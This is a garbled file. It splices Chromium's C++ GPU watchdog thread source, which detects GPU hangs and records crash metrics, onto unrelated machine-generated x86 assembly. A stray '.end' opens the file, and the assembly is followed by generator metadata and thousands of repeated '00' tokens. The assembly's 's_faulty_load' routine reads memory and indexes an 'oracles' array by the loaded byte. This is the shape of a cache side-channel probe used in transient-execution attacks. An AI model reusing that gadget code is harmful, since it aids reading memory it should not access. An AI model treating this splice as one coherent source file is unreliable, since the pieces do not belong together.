.end
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "gpu/ipc/service/gpu_watchdog_thread.h" #include "base/atomicops.h" #include "base/bind.h" #include "base/bit_cast.h" #include "base/callback_helpers.h" #include "base/debug/alias.h" #include "base/debug/dump_without_crashing.h" #include "base/files/file_path.h" #include "base/files/file_util.h" #include "base/memory/ptr_util.h" #include "base/metrics/histogram_functions.h" #include "base/native_library.h" #include "base/numerics/safe_conversions.h" #include "base/power_monitor/power_monitor.h" #include "base/process/process.h" #include "base/strings/string_number_conversions.h" #include "base/system/sys_info.h" #include "base/task/current_thread.h" #include "base/threading/platform_thread.h" #include "base/threading/thread_task_runner_handle.h" #include "base/time/time.h" #include "build/build_config.h" #include "gpu/config/gpu_crash_keys.h" #include "gpu/ipc/common/result_codes.h" #if defined(OS_WIN) #include "base/win/windows_version.h" #endif namespace gpu { #if defined(OS_WIN) base::TimeDelta GetGpuWatchdogTimeoutBasedOnCpuCores() { if (base::win::GetVersion() >= base::win::Version::WIN10) { int num_of_processors = base::SysInfo::NumberOfProcessors(); if (num_of_processors > 8) return (kGpuWatchdogTimeout - base::TimeDelta::FromSeconds(10)); else if (num_of_processors <= 4) return kGpuWatchdogTimeout + base::TimeDelta::FromSeconds(5); } return kGpuWatchdogTimeout; } #endif GpuWatchdogThread::GpuWatchdogThread(base::TimeDelta timeout, int init_factor, int restart_factor, bool is_test_mode) : base::Thread("GpuWatchdog"), watchdog_timeout_(timeout), watchdog_init_factor_(init_factor), watchdog_restart_factor_(restart_factor), in_gpu_initialization_(true), is_test_mode_(is_test_mode), watched_gpu_task_runner_(base::ThreadTaskRunnerHandle::Get()) { base::CurrentThread::Get()->AddTaskObserver(this); num_of_processors_ = base::SysInfo::NumberOfProcessors(); #if defined(OS_WIN) // GetCurrentThread returns a pseudo-handle that cannot be used by one thread // to identify another. DuplicateHandle creates a "real" handle that can be // used for this purpose. if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &watched_thread_handle_, THREAD_QUERY_INFORMATION, FALSE, 0)) { watched_thread_handle_ = nullptr; } #endif #if defined(USE_X11) tty_file_ = base::OpenFile( base::FilePath(FILE_PATH_LITERAL("/sys/class/tty/tty0/active")), "r"); UpdateActiveTTY(); host_tty_ = active_tty_; #endif Arm(); } GpuWatchdogThread::~GpuWatchdogThread() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); // Stop() might take too long and the watchdog timeout is triggered. // Disarm first before calling Stop() to avoid a crash. if (IsArmed()) Disarm(); PauseWatchdog(); Stop(); // stop the watchdog thread base::CurrentThread::Get()->RemoveTaskObserver(this); base::PowerMonitor::RemovePowerSuspendObserver(this); GpuWatchdogHistogram(GpuWatchdogThreadEvent::kGpuWatchdogEnd); #if defined(OS_WIN) if (watched_thread_handle_) CloseHandle(watched_thread_handle_); #endif #if defined(USE_X11) if (tty_file_) fclose(tty_file_); #endif } // static std::unique_ptr<GpuWatchdogThread> GpuWatchdogThread::Create( bool start_backgrounded, base::TimeDelta timeout, int init_factor, int restart_factor, bool is_test_mode) { auto watchdog_thread = base::WrapUnique(new GpuWatchdogThread( timeout, init_factor, restart_factor, is_test_mode)); base::Thread::Options options; options.timer_slack = base::TIMER_SLACK_MAXIMUM; watchdog_thread->StartWithOptions(options); if (start_backgrounded) watchdog_thread->OnBackgrounded(); return watchdog_thread; } // static std::unique_ptr<GpuWatchdogThread> GpuWatchdogThread::Create( bool start_backgrounded) { #if defined(OS_WIN) base::TimeDelta gpu_watchdog_timeout = GetGpuWatchdogTimeoutBasedOnCpuCores(); #else base::TimeDelta gpu_watchdog_timeout = kGpuWatchdogTimeout; #endif return Create(start_backgrounded, gpu_watchdog_timeout, kInitFactor, kRestartFactor, false); } // Do not add power observer during watchdog init, PowerMonitor might not be up // running yet. void GpuWatchdogThread::AddPowerObserver() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); // Forward it to the watchdog thread. Call PowerMonitor::AddObserver on the // watchdog thread so that OnSuspend and OnResume will be called on watchdog // thread. is_add_power_observer_called_ = true; task_runner()->PostTask(FROM_HERE, base::BindOnce(&GpuWatchdogThread::OnAddPowerObserver, base::Unretained(this))); } // Android Chrome goes to the background. Called from the gpu thread. void GpuWatchdogThread::OnBackgrounded() { task_runner()->PostTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::StopWatchdogTimeoutTask, base::Unretained(this), kAndroidBackgroundForeground)); } // Android Chrome goes to the foreground. Called from the gpu thread. void GpuWatchdogThread::OnForegrounded() { task_runner()->PostTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::RestartWatchdogTimeoutTask, base::Unretained(this), kAndroidBackgroundForeground)); } // Called from the gpu thread when gpu init has completed. void GpuWatchdogThread::OnInitComplete() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); task_runner()->PostTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::UpdateInitializationFlag, base::Unretained(this))); Disarm(); } // Called from the gpu thread in viz::GpuServiceImpl::~GpuServiceImpl(). // After this, no Disarm() will be called before the watchdog thread is // destroyed. If this destruction takes too long, the watchdog timeout // will be triggered. void GpuWatchdogThread::OnGpuProcessTearDown() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); in_gpu_process_teardown_ = true; if (!IsArmed()) Arm(); } // Called from the gpu main thread. void GpuWatchdogThread::PauseWatchdog() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); task_runner()->PostTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::StopWatchdogTimeoutTask, base::Unretained(this), kGeneralGpuFlow)); } // Called from the gpu main thread. void GpuWatchdogThread::ResumeWatchdog() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); task_runner()->PostTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::RestartWatchdogTimeoutTask, base::Unretained(this), kGeneralGpuFlow)); } // Running on the watchdog thread. // On Linux, Init() will be called twice for Sandbox Initialization. The // watchdog is stopped and then restarted in StartSandboxLinux(). Everything // should be the same and continue after the second init(). void GpuWatchdogThread::Init() { watchdog_thread_task_runner_ = base::ThreadTaskRunnerHandle::Get(); // Get and Invalidate weak_ptr should be done on the watchdog thread only. weak_ptr_ = weak_factory_.GetWeakPtr(); base::TimeDelta timeout = watchdog_timeout_ * kInitFactor; task_runner()->PostDelayedTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::OnWatchdogTimeout, weak_ptr_), timeout); last_arm_disarm_counter_ = ReadArmDisarmCounter(); watchdog_start_timeticks_ = base::TimeTicks::Now(); last_on_watchdog_timeout_timeticks_ = watchdog_start_timeticks_; next_on_watchdog_timeout_time_ = base::Time::Now() + timeout; #if defined(OS_WIN) if (watched_thread_handle_) { if (base::ThreadTicks::IsSupported()) base::ThreadTicks::WaitUntilInitialized(); last_on_watchdog_timeout_thread_ticks_ = GetWatchedThreadTime(); remaining_watched_thread_ticks_ = timeout; } #endif } // Running on the watchdog thread. void GpuWatchdogThread::CleanUp() { DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread()); weak_factory_.InvalidateWeakPtrs(); } void GpuWatchdogThread::ReportProgress() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); InProgress(); } void GpuWatchdogThread::WillProcessTask(const base::PendingTask& pending_task, bool was_blocked_or_low_priority) { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); // The watchdog is armed at the beginning of the gpu process teardown. // Do not call Arm() during teardown. if (in_gpu_process_teardown_) DCHECK(IsArmed()); else Arm(); } void GpuWatchdogThread::DidProcessTask(const base::PendingTask& pending_task) { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); // Keep the watchdog armed during tear down. if (in_gpu_process_teardown_) InProgress(); else Disarm(); } // Power Suspends. Running on the watchdog thread. void GpuWatchdogThread::OnSuspend() { StopWatchdogTimeoutTask(kPowerSuspendResume); } // Power Resumes. Running on the watchdog thread. void GpuWatchdogThread::OnResume() { RestartWatchdogTimeoutTask(kPowerSuspendResume); } // Running on the watchdog thread. void GpuWatchdogThread::OnAddPowerObserver() { DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread()); DCHECK(base::PowerMonitor::IsInitialized()); base::PowerMonitor::AddPowerSuspendObserver(this); is_power_observer_added_ = true; } // Running on the watchdog thread. void GpuWatchdogThread::RestartWatchdogTimeoutTask( PauseResumeSource source_of_request) { DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread()); base::TimeDelta timeout; switch (source_of_request) { case kAndroidBackgroundForeground: if (!is_backgrounded_) return; is_backgrounded_ = false; timeout = watchdog_timeout_ * watchdog_restart_factor_; foregrounded_timeticks_ = base::TimeTicks::Now(); foregrounded_event_ = true; num_of_timeout_after_foregrounded_ = 0; break; case kPowerSuspendResume: if (!in_power_suspension_) return; in_power_suspension_ = false; timeout = watchdog_timeout_ * watchdog_restart_factor_; power_resume_timeticks_ = base::TimeTicks::Now(); power_resumed_event_ = true; num_of_timeout_after_power_resume_ = 0; break; case kGeneralGpuFlow: if (!is_paused_) return; is_paused_ = false; timeout = watchdog_timeout_ * watchdog_init_factor_; watchdog_resume_timeticks_ = base::TimeTicks::Now(); break; } if (!is_backgrounded_ && !in_power_suspension_ && !is_paused_) { weak_ptr_ = weak_factory_.GetWeakPtr(); task_runner()->PostDelayedTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::OnWatchdogTimeout, weak_ptr_), timeout); last_on_watchdog_timeout_timeticks_ = base::TimeTicks::Now(); next_on_watchdog_timeout_time_ = base::Time::Now() + timeout; last_arm_disarm_counter_ = ReadArmDisarmCounter(); #if defined(OS_WIN) if (watched_thread_handle_) { last_on_watchdog_timeout_thread_ticks_ = GetWatchedThreadTime(); remaining_watched_thread_ticks_ = timeout; } #endif } } void GpuWatchdogThread::StopWatchdogTimeoutTask( PauseResumeSource source_of_request) { DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread()); switch (source_of_request) { case kAndroidBackgroundForeground: if (is_backgrounded_) return; is_backgrounded_ = true; backgrounded_timeticks_ = base::TimeTicks::Now(); foregrounded_event_ = false; break; case kPowerSuspendResume: if (in_power_suspension_) return; in_power_suspension_ = true; power_suspend_timeticks_ = base::TimeTicks::Now(); power_resumed_event_ = false; break; case kGeneralGpuFlow: if (is_paused_) return; is_paused_ = true; watchdog_pause_timeticks_ = base::TimeTicks::Now(); break; } // Revoke any pending watchdog timeout task weak_factory_.InvalidateWeakPtrs(); } void GpuWatchdogThread::UpdateInitializationFlag() { in_gpu_initialization_ = false; } // Called from the gpu main thread. // The watchdog is armed only in these three functions - // GpuWatchdogThread(), WillProcessTask(), and OnGpuProcessTearDown() void GpuWatchdogThread::Arm() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); base::subtle::NoBarrier_AtomicIncrement(&arm_disarm_counter_, 1); // Arm/Disarm are always called in sequence. Now it's an odd number. DCHECK(IsArmed()); } void GpuWatchdogThread::Disarm() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); base::subtle::NoBarrier_AtomicIncrement(&arm_disarm_counter_, 1); // Arm/Disarm are always called in sequence. Now it's an even number. DCHECK(!IsArmed()); } void GpuWatchdogThread::InProgress() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); // Increment by 2. This is equivalent to Disarm() + Arm(). base::subtle::NoBarrier_AtomicIncrement(&arm_disarm_counter_, 2); // Now it's an odd number. DCHECK(IsArmed()); } bool GpuWatchdogThread::IsArmed() { // It's an odd number. return base::subtle::NoBarrier_Load(&arm_disarm_counter_) & 1; } base::subtle::Atomic32 GpuWatchdogThread::ReadArmDisarmCounter() { return base::subtle::NoBarrier_Load(&arm_disarm_counter_); } // Running on the watchdog thread. void GpuWatchdogThread::OnWatchdogTimeout() { DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread()); DCHECK(!is_backgrounded_); DCHECK(!in_power_suspension_); DCHECK(!is_paused_); // If this metric is added too early (eg. watchdog creation time), it cannot // be persistent. The histogram data will be lost after crash or browser exit. // Delay the recording of kGpuWatchdogStart until the firs // OnWatchdogTimeout() to ensure this metric is created in the persistent // memory. if (!is_watchdog_start_histogram_recorded) { is_watchdog_start_histogram_recorded = true; GpuWatchdogHistogram(GpuWatchdogThreadEvent::kGpuWatchdogStart); } auto arm_disarm_counter = ReadArmDisarmCounter(); GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kTimeout); if (power_resumed_event_) num_of_timeout_after_power_resume_++; if (foregrounded_event_) num_of_timeout_after_foregrounded_++; #if defined(USE_X11) UpdateActiveTTY(); #endif // Collect all needed info for gpu hang detection. bool disarmed = arm_disarm_counter % 2 == 0; // even number bool gpu_makes_progress = arm_disarm_counter != last_arm_disarm_counter_; bool no_gpu_hang = disarmed || gpu_makes_progress || SlowWatchdogThread(); bool watched_thread_needs_more_time = WatchedThreadNeedsMoreThreadTime(no_gpu_hang); no_gpu_hang = no_gpu_hang || watched_thread_needs_more_time || ContinueOnNonHostX11ServerTty(); // No gpu hang. Continue with another OnWatchdogTimeout task. if (no_gpu_hang) { last_on_watchdog_timeout_timeticks_ = base::TimeTicks::Now(); next_on_watchdog_timeout_time_ = base::Time::Now() + watchdog_timeout_; last_arm_disarm_counter_ = ReadArmDisarmCounter(); task_runner()->PostDelayedTask( FROM_HERE, base::BindOnce(&GpuWatchdogThread::OnWatchdogTimeout, weak_ptr_), watchdog_timeout_); return; } // Still armed without any progress. GPU possibly hangs. GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kKill); #if defined(OS_WIN) if (less_than_full_thread_time_after_capped_) GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kKillOnLessThreadTime); #endif DeliberatelyTerminateToRecoverFromHang(); } bool GpuWatchdogThread::SlowWatchdogThread() { // If it takes 15 more seconds than the expected time between two // OnWatchdogTimeout() calls, the system is considered slow and it's not a GPU // hang. bool slow_watchdog_thread = (base::Time::Now() - next_on_watchdog_timeout_time_) >= base::TimeDelta::FromSeconds(15); // Record this case only when a GPU hang is detected and the thread is slow. if (slow_watchdog_thread) GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kSlowWatchdogThread); return slow_watchdog_thread; } bool GpuWatchdogThread::WatchedThreadNeedsMoreThreadTime( bool no_gpu_hang_detected) { #if defined(OS_WIN) if (!watched_thread_handle_) return false; // We allow extra thread time. When that runs out, we extend extra timeout // cycles. Now, we are extending extra timeout cycles. Don't add extra thread // time. if (count_of_extra_cycles_ > 0) return false; WatchedThreadNeedsMoreThreadTimeHistogram( no_gpu_hang_detected, /*start_of_more_thread_time*/ false); if (!no_gpu_hang_detected && count_of_more_gpu_thread_time_allowed_ >= kMaxCountOfMoreGpuThreadTimeAllowed) { less_than_full_thread_time_after_capped_ = true; } else { less_than_full_thread_time_after_capped_ = false; } // Calculate how many thread ticks the watched thread spent doing the work. base::ThreadTicks now = GetWatchedThreadTime(); base::TimeDelta thread_time_elapsed = now - last_on_watchdog_timeout_thread_ticks_; last_on_watchdog_timeout_thread_ticks_ = now; remaining_watched_thread_ticks_ -= thread_time_elapsed; if (no_gpu_hang_detected || count_of_more_gpu_thread_time_allowed_ >= kMaxCountOfMoreGpuThreadTimeAllowed || thread_time_elapsed < base::TimeDelta() /* bogus data */ || remaining_watched_thread_ticks_ <= base::TimeDelta()) { // Reset the remaining thread ticks. remaining_watched_thread_ticks_ = watchdog_timeout_; count_of_more_gpu_thread_time_allowed_ = 0; return false; } else { // This is the start of allowing more thread time. if (count_of_more_gpu_thread_time_allowed_ == 0) { WatchedThreadNeedsMoreThreadTimeHistogram( no_gpu_hang_detected, /*start_of_more_thread_time*/ true); } count_of_more_gpu_thread_time_allowed_++; return true; } #else return false; #endif } #if defined(OS_WIN) base::ThreadTicks GpuWatchdogThread::GetWatchedThreadTime() { DCHECK(watched_thread_handle_); if (base::ThreadTicks::IsSupported()) { // Note: GetForThread() might return bogus results if running on different // CPUs between two calls. return base::ThreadTicks::GetForThread( base::PlatformThreadHandle(watched_thread_handle_)); } else { FILETIME creation_time; FILETIME exit_time; FILETIME kernel_time; FILETIME user_time; BOOL result = GetThreadTimes(watched_thread_handle_, &creation_time, &exit_time, &kernel_time, &user_time); if (!result) return base::ThreadTicks(); // Need to bit_cast to fix alignment, then divide by 10 to convert // 100-nanoseconds to microseconds. int64_t user_time_us = bit_cast<int64_t, FILETIME>(user_time) / 10; int64_t kernel_time_us = bit_cast<int64_t, FILETIME>(kernel_time) / 10; return base::ThreadTicks() + base::TimeDelta::FromMicroseconds(user_time_us + kernel_time_us); } } #endif void GpuWatchdogThread::DeliberatelyTerminateToRecoverFromHang() { DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread()); // If this is for gpu testing, do not terminate the gpu process. if (is_test_mode_) { test_result_timeout_and_gpu_hang_.Set(); return; } #if defined(OS_WIN) if (IsDebuggerPresent()) return; #endif // Store variables so they're available in crash dumps to help determine the // cause of any hang. base::TimeTicks function_begin_timeticks = base::TimeTicks::Now(); base::debug::Alias(&in_gpu_initialization_); base::debug::Alias(&num_of_timeout_after_power_resume_); base::debug::Alias(&num_of_timeout_after_foregrounded_); base::debug::Alias(&function_begin_timeticks); base::debug::Alias(&watchdog_start_timeticks_); base::debug::Alias(&power_suspend_timeticks_); base::debug::Alias(&power_resume_timeticks_); base::debug::Alias(&backgrounded_timeticks_); base::debug::Alias(&foregrounded_timeticks_); base::debug::Alias(&watchdog_pause_timeticks_); base::debug::Alias(&watchdog_resume_timeticks_); base::debug::Alias(&in_power_suspension_); base::debug::Alias(&in_gpu_process_teardown_); base::debug::Alias(&is_backgrounded_); base::debug::Alias(&is_add_power_observer_called_); base::debug::Alias(&is_power_observer_added_); base::debug::Alias(&last_on_watchdog_timeout_timeticks_); base::TimeDelta timeticks_elapses = function_begin_timeticks - last_on_watchdog_timeout_timeticks_; base::debug::Alias(&timeticks_elapses); #if defined(OS_WIN) base::debug::Alias(&remaining_watched_thread_ticks_); base::debug::Alias(&less_than_full_thread_time_after_capped_); #endif GpuWatchdogHistogram(GpuWatchdogThreadEvent::kGpuWatchdogKill); crash_keys::gpu_watchdog_crashed_in_gpu_init.Set( in_gpu_initialization_ ? "1" : "0"); crash_keys::gpu_watchdog_kill_after_power_resume.Set( WithinOneMinFromPowerResumed() ? "1" : "0"); crash_keys::num_of_processors.Set(base::NumberToString(num_of_processors_)); // Check the arm_disarm_counter value one more time. auto last_arm_disarm_counter = ReadArmDisarmCounter(); base::debug::Alias(&last_arm_disarm_counter); // Use RESULT_CODE_HUNG so this crash is separated from other // EXCEPTION_ACCESS_VIOLATION buckets for UMA analysis. // Create a crash dump first. TerminateCurrentProcessImmediately will not // create a dump. base::debug::DumpWithoutCrashing(); base::Process::TerminateCurrentProcessImmediately(RESULT_CODE_HUNG); } void GpuWatchdogThread::GpuWatchdogHistogram( GpuWatchdogThreadEvent thread_event) { base::UmaHistogramEnumeration("GPU.WatchdogThread.Event", thread_event); } void GpuWatchdogThread::GpuWatchdogTimeoutHistogram( GpuWatchdogTimeoutEvent timeout_event) { base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout", timeout_event); bool recorded = false; if (in_gpu_initialization_) { base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.Init", timeout_event); recorded = true; } if (WithinOneMinFromPowerResumed()) { base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.PowerResume", timeout_event); recorded = true; } if (WithinOneMinFromForegrounded()) { base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.Foregrounded", timeout_event); recorded = true; } if (!recorded) { base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.Normal", timeout_event); } } #if defined(OS_WIN) void GpuWatchdogThread::RecordExtraThreadTimeHistogram() { // Record the number of timeouts the GPU main thread needs to make a progress // after GPU OnWatchdogTimeout() is triggered. The maximum count is 6 which // is more than kMaxCountOfMoreGpuThreadTimeAllowed(4); constexpr int kMin = 1; constexpr int kMax = 6; constexpr int kBuckets = 6; int count = count_of_more_gpu_thread_time_allowed_; bool recorded = false; base::UmaHistogramCustomCounts("GPU.WatchdogThread.ExtraThreadTime", count, kMin, kMax, kBuckets); if (in_gpu_initialization_) { base::UmaHistogramCustomCounts("GPU.WatchdogThread.ExtraThreadTime.Init", count, kMin, kMax, kBuckets); recorded = true; } if (WithinOneMinFromPowerResumed()) { base::UmaHistogramCustomCounts( "GPU.WatchdogThread.ExtraThreadTime.PowerResume", count, kMin, kMax, kBuckets); recorded = true; } if (WithinOneMinFromForegrounded()) { base::UmaHistogramCustomCounts( "GPU.WatchdogThread.ExtraThreadTime.Foregrounded", count, kMin, kMax, kBuckets); recorded = true; } if (!recorded) { base::UmaHistogramCustomCounts("GPU.WatchdogThread.ExtraThreadTime.Normal", count, kMin, kMax, kBuckets); } } void GpuWatchdogThread::RecordNumOfUsersWaitingWithExtraThreadTimeHistogram( int count) { constexpr int kMax = 4; base::UmaHistogramExactLinear("GPU.WatchdogThread.ExtraThreadTime.NumOfUsers", count, kMax); } void GpuWatchdogThread::WatchedThreadNeedsMoreThreadTimeHistogram( bool no_gpu_hang_detected, bool start_of_more_thread_time) { if (start_of_more_thread_time) { // This is the start of allowing more thread time. Only record it once for // all following timeouts on the same detected gpu hang, so we know this // is equivlent one crash in our crash reports. GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kMoreThreadTime); RecordNumOfUsersWaitingWithExtraThreadTimeHistogram(0); } else { if (count_of_more_gpu_thread_time_allowed_ > 0) { if (no_gpu_hang_detected) { // If count_of_more_gpu_thread_time_allowed_ > 0, we know extra time was // extended in the previous OnWatchdogTimeout(). Now we find gpu makes // progress. Record this case. GpuWatchdogTimeoutHistogram( GpuWatchdogTimeoutEvent::kProgressAfterMoreThreadTime); RecordExtraThreadTimeHistogram(); } else { if (count_of_more_gpu_thread_time_allowed_ >= kMaxCountOfMoreGpuThreadTimeAllowed) { GpuWatchdogTimeoutHistogram( GpuWatchdogTimeoutEvent::kLessThanFullThreadTimeAfterCapped); } } // Records the number of users who are still waiting. We can use this // number to calculate the number of users who had already quit. RecordNumOfUsersWaitingWithExtraThreadTimeHistogram( count_of_more_gpu_thread_time_allowed_); // Used by GPU.WatchdogThread.WaitTime later time_in_wait_for_full_thread_time_ = count_of_more_gpu_thread_time_allowed_ * watchdog_timeout_; } } } #endif bool GpuWatchdogThread::WithinOneMinFromPowerResumed() { size_t count = base::ClampFloor<size_t>(base::TimeDelta::FromMinutes(1) / watchdog_timeout_); return power_resumed_event_ && num_of_timeout_after_power_resume_ <= count; } bool GpuWatchdogThread::WithinOneMinFromForegrounded() { size_t count = base::ClampFloor<size_t>(base::TimeDelta::FromMinutes(1) / watchdog_timeout_); return foregrounded_event_ && num_of_timeout_after_foregrounded_ <= count; } #if defined(USE_X11) void GpuWatchdogThread::UpdateActiveTTY() { last_active_tty_ = active_tty_; active_tty_ = -1; char tty_string[8] = {0}; if (tty_file_ && !fseek(tty_file_, 0, SEEK_SET) && fread(tty_string, 1, 7, tty_file_)) { int tty_number; if (sscanf(tty_string, "tty%d\n", &tty_number) == 1) { active_tty_ = tty_number; } } } #endif bool GpuWatchdogThread::ContinueOnNonHostX11ServerTty() { #if defined(USE_X11) if (host_tty_ == -1 || active_tty_ == -1) return false; // Don't crash if we're not on the TTY of our host X11 server. if (active_tty_ != host_tty_) { // Only record for the time there is a change on TTY if (last_active_tty_ == active_tty_) { GpuWatchdogTimeoutHistogram( GpuWatchdogTimeoutEvent::kContinueOnNonHostServerTty); } return true; } #endif return false; } // For gpu testing only. Return whether a GPU hang was detected or not. bool GpuWatchdogThread::IsGpuHangDetectedForTesting() { DCHECK(is_test_mode_); return test_result_timeout_and_gpu_hang_.IsSet(); } // This should be called on the test main thread only. It will wait until the // power observer is added on the watchdog thread. void GpuWatchdogThread::WaitForPowerObserverAddedForTesting() { DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread()); DCHECK(is_add_power_observer_called_); // Just return if it has been added. if (is_power_observer_added_) return; base::WaitableEvent event; task_runner()->PostTask( FROM_HERE, base::BindOnce(&base::WaitableEvent::Signal, base::Unretained(&event))); event.Wait(); } } // namespace gpu
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %rcx push %rdi push %rsi lea addresses_A_ht+0xa8ed, %rsi nop nop nop nop xor $64903, %r13 mov (%rsi), %r10w nop nop nop nop cmp $37012, %rcx lea addresses_WT_ht+0x15b45, %rsi lea addresses_normal_ht+0x912d, %rdi nop nop nop nop nop sub %r10, %r10 mov $122, %rcx rep movsq nop nop dec %r13 pop %rsi pop %rdi pop %rcx pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %rax push %rbx push %rcx push %rsi // Faulty Load lea addresses_WT+0x138ed, %r11 nop nop nop nop nop sub %rax, %rax movntdqa (%r11), %xmm6 vpextrq $0, %xmm6, %rsi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rcx pop %rbx pop %rax pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 